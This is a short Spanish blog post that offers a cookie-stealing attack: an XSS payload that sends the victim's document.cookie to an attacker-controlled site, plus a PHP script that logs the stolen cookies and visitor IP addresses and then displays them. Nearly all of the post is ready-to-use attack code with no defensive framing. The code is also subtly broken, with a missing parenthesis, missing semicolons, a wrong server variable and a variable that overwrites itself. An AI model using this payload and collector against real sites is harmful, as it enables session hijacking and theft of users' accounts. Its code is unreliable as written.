Obtener una Cookie de un XSS (Código simple PHP)
<script>window.open("http://website-atacante.com/?cookie="+document.cookie</script>
Código PHP:
<?php
$filename='xss.log'
if(isset($_GET['cookie']))
{
$content = 'Host: '.$_SERVER['HTTP_POST'].PHP_EOL;
$content = 'Remote Addr: '.$_SERVER['REMOTE_ADDR'].PHP_EOL;
$content = 'Cookie: '.$_GET['cookie'].PHP_EOL;
file_put_contents($filename,$content, FILE_APPEND | LOCK_EX)
} else
{
$data = file_get_contents($filename);
$convert = explode("\n",$data);
for($i=0;$i<count($convert);$i++)
{
echo $convert[$i].'</br>';
}
}
?>
Obtener una Cookie de un XSS (Código simple PHP)
Reviewed by Zion3R
on
1:38
Rating: